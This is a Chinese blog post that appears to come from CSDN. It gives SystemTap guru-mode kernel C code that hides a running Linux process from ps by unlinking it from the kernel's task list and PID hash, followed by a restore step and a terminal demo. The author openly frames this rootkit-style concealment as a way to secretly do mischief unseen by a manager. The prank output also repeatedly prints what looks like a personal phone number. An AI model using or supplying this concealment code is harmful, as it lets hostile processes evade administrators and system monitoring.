Linux系统下如何隐藏自己的进程?

虽然并不建议直接使用root登录Linux系统,但很多时候,大家还是会用root登录,所以本文就假设你使用root登录了系统。

你想写一个进程,偷偷摸摸干点坏事,或者明目张胆地不断在屏幕上输出经理的手机号码,而这一切却又让经理要么发现不了,或者说即便被经理发现了也让他无能无力吗?

是的,你肯定想这么干,就像我一样,你唯一要做的,只是把你的这个进程隐藏掉。

隐藏进程这件事和经理无关,它是个手艺活儿。隐藏进程的方法太多了,比如用LD_PRELOAD重定义ps的输出,比如重新挂载一个过滤了某些进程的procfs,诸如此类。

但是这些都太复杂了!我这里有一个最最直接的方法,即直接在内核里把需要隐藏的进程从相应的数据结构中摘掉即可。

具体要从哪里摘掉呢?

我们知道,若要找到某个进程,有两个方法,从而对应两个动作:

  • 遍历系统的tasks链表,挨个核对。我们需要从init_task的tasks链表中摘掉它。
  • 从PID链表中根据pid来查找。我们需要从PIDTYPE_PID hlist表中摘掉它。

就这么简单。

但做事要做全,逗完经理后,我们还要把进程从不可见的隐藏状态恢复。

好了,该上代码了。今天我采用systemtap的Guru专家模式,嵌入C语言在systemtap脚本中,并且oneshot执行。

代码如下:

// hide_process.stp
%{
#include <linux/module.h>
%}

function hide_your_process:long(pid:long, type:long, addr:long)
%{
	struct task_struct *task = NULL;
	struct pid_link *link = NULL;

	if (STAP_ARG_type == 0) {
		struct hlist_node *node = NULL;
		task = pid_task(find_vpid(STAP_ARG_pid), PIDTYPE_PID);
		link = &task->pids[PIDTYPE_PID];

		list_del_rcu(&task->tasks);
		INIT_LIST_HEAD(&task->tasks);
		node = &link->node;
		hlist_del_rcu(node);
		INIT_HLIST_NODE(node);
		// 很重要!不然如果你Ctrl-C被隐藏的进程或者任何前台方式给它足以致死的signal时,detach_pid时会crash掉!
		node->pprev = &node;
		STAP_PRINTF("你要隐藏的进程地址: %p  请牢记!恢复的时候请传入第三个参数\n", task);

	} else if (STAP_ARG_type == 1) {
		task = (struct task_struct *)STAP_ARG_addr;
		link = &task->pids[PIDTYPE_PID];

		hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);
		list_add_tail_rcu(&task->tasks, &init_task.tasks);
		STAP_PRINTF("隐藏的进程[%p]已经恢复!\n", task);
	}
	
	STAP_RETVALUE = 0;
%}

probe begin
{
	printf("隐藏:stap -g hide.stp $进程号 0 1234\n");
	printf("恢复:stap -g hide.stp 1234 1 $隐藏时输出的地址\n\n");
	hide_your_process($1, $2, $3);
	exit(); // oneshot模式
}

好了,看下效果:
在这里插入图片描述
至于说链表操作没加锁之类的bug,加上即可,不加也不影响使用。

此外,很多人会觉得修改procfs的关于task dir lookup实现即可,但是我是觉得太复杂了。我这个最简单,几行代码而已,不会编程的手艺人也很无奈,只能如此取巧。

再玩一个?

[root@localhost ~]#
[root@localhost ~]# ./JingLi\'SkinShoe
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939
经理的皮鞋湿了,但是不会胖!如果胖了请联系经理:15618501939

隐藏掉它呗:

[root@localhost test]# ps -e |grep JingLi
 6607 pts/1    00:00:00 JingLi'SkinShoe
 [root@localhost test]# stap -g ./hide_process.stp 6607 0 12345
隐藏:stap -g hide.stp $进程号 0 1234
恢复:stap -g hide.stp 1234 1 $隐藏时输出的地址

你要隐藏的进程地址: 0xffff8800365818c0  请牢记!恢复的时候请传入第三个参数

现在ps不到它了…

[root@localhost test]# ps -e |grep JingLi
[root@localhost test]# echo $?
1

浙江温州皮鞋湿,下雨进水不会胖。

发布了1583 篇原创文章 · 获赞 5118 · 访问量 1114万+

猜你喜欢

转载自blog.csdn.net/dog250/article/details/105270500
今日推荐